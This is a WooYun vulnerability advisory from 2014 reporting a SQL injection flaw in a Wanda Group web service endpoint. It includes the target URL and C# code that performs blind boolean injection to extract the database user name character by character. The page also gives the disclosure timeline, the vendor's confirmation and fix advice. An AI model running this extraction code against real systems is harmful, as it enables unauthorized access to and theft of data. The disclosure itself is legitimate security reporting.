当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087165

漏洞标题:万达某分站SQL注入漏洞一枚

相关厂商:大连万达集团股份有限公司

漏洞作者: sex is not show

提交时间:2014-12-14 22:44

修复时间:2015-01-28 22:46

公开时间:2015-01-28 22:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:13

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-14: 细节已通知厂商并且等待厂商处理中
2014-12-15: 厂商已经确认,细节仅向厂商公开
2014-12-25: 细节向核心白帽子及相关领域专家公开
2015-01-04: 细节向普通白帽子公开
2015-01-14: 细节向实习白帽子公开
2015-01-28: 细节向公众公开

简要描述:

详细说明:

存在漏洞站点:mtodo.wanda.cn 不知道这站是干啥的,先不管~~
漏洞文件:http://mtodo.wanda.cn/ServiceMobile.asmx?op=GetAllCount
直接提交带注入的参数,就会302:

1.jpg


既然有webservice,那就用代码走soap协议来尝试,于是操起vs乱写了一通~~

1.jpg


当前用户:

1.jpg


本屌写的乱的一米的代码:

cn.wanda.mtodo.ServiceMobile sm = new cn.wanda.mtodo.ServiceMobile();
private void btnGetAllCount_Click(object sender, EventArgs e)
{
try
{
string leix = this.txtUserid.Text;
int str_len = 0; //用户 or 数据库名长度
//取长度
for (int j = 1; j < 20; j++) //假设最长20,一般不会超过那么长
{
string rrr = sm.GetAllCount("' or 1=1 and "+j+"=len(" + leix + ")--");
//{\"success\":true,\"Rows\":16,\"message\":\"\"}
if ((sm.GetAllCount("' or 1=1 and " + j + "=len(" + leix + ")--")).Contains("1700"))
{
str_len = j;
}
}
this.txtMsg.Text = this.txtUserid.Text + " len: " + str_len + "\r\n";
this.txtMsg.Text += leix + " : ";
if (str_len > 0)
{
//取当前用户/数据库名
int[] asc = { 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127 };
for (int k = 1; k <= str_len; k++)
{

int low = 1; //最小值
int high = asc.Length; //数组长度
int mid;
while (low <= high)
{
mid = (low + high) / 2; //取中间值
string name = sm.GetAllCount("' or 1=1 and " + asc[mid] + "<=ascii(substring(" + leix + "," + k + ",1))--");
if (name.Contains("1700"))
{
low = mid + 1;
if ((sm.GetAllCount("' or 1=1 and " + asc[mid] + "=ascii(substring(" + leix + "," + k + ",1))--")).Contains("1700"))
{
this.txtMsg.Text += Encoding.ASCII.GetString(new byte[]{(byte)asc[mid]});
}
}
else
{
high = mid - 1;
}
}
}
}
}
catch(Exception eq){
this.txtMsg.Text += eq.Message;
}

}

漏洞证明:

1.jpg

修复方案:

1.参数化查询,别拼SQL语句了
2.webservice最好部署在内网里调用~ 公网就别启用了

版权声明:转载请注明来源 sex is not show@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-12-15 11:15

厂商回复:

感谢sex is not show同学的关注与贡献!此漏洞确认存在,马上通知业务部门整改!

最新状态:

暂无